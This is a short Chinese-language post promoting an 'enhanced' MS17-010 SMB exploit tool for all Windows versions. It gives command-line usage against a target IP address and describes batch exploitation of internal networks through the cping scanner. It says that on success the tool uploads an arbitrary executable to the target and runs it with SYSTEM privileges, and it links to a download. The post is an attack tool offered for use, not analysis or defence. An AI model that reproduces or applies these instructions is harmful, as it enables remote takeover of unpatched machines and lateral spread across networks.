[EXP]windows全版本SMB溢出工具增强版

工具:k8增强版zzz

编译:python

漏洞:MS17-010

用法:

zzz_exploit.exe 192.11.22.82
zzz_exploit.exe 192.11.22.82 exe参数
zzz_exploit.exe 192.11.22.82 exe参数 管道名

如exe启动参数为  m.exe -Start 实战命令为 zzz_exploit.exe 192.11.22.82 -Start

内网批量

可结合cping批量溢出内网,将名称改成smbcheck便可,但exe必须使用无参版。（其它工具也能够，提供个IP参数便可）

由于cping只会传IP进去,不会传其它参数。使用前需将任意exe更名为ma.dat

溢出成功会自动将exe传入目标机器，并以system权限启动exe程序。

 

连接: https://github.com/k8gege/K8tools/blob/master/k8zzz.rar